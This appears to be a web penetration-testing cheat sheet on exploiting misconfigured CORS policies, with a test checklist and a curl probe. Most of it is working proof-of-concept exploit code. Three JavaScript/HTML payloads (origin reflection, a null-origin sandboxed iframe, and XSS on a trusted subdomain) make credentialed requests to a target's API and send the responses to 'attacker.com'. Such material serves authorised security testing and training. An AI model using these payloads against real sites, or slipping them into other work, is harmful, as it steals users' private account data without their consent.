Cross-Origin Resource Sharing (CORS)
Exploit misconfigured CORS policies to steal data cross-origin.
Methodology
- 1Check for CORS headers (Access-Control-Allow-Origin)
- 2Test if origin is reflected
- 3Test null origin
- 4Test with trusted subdomains
Detailed Steps
Test origin reflection:
bash
curl -H "Origin: https://evil.com" -I http://target.com/api/userLook for:
shell
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: trueIf the server reflects your origin AND allows credentials → exploitable.
html
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
// Send victim's data to attacker
fetch('http://attacker.com/log?data=' +
encodeURIComponent(xhr.responseText));
}
};
xhr.open("GET", "http://target.com/api/sensitive-data", true);
xhr.withCredentials = true;
xhr.send();
</script>When server allows Origin: null:
Sandboxed iframes send Origin: null:
html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
fetch('http://attacker.com/log?data=' +
encodeURIComponent(xhr.responseText));
};
xhr.open('GET', 'http://target.com/api/user', true);
xhr.withCredentials = true;
xhr.send();
</script>
">
</iframe>If CORS trusts *.target.com:
- Find XSS on any subdomain (blog.target.com, test.target.com)
- Use XSS to make authenticated cross-origin requests
- Exfiltrate data from the main domain
javascript
// XSS on blog.target.com
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.target.com/user/profile", true);
xhr.withCredentials = true;
xhr.onload = function() {
fetch("http://attacker.com/log?d=" + btoa(xhr.responseText));
};
xhr.send();Tools
Burp Suitecurl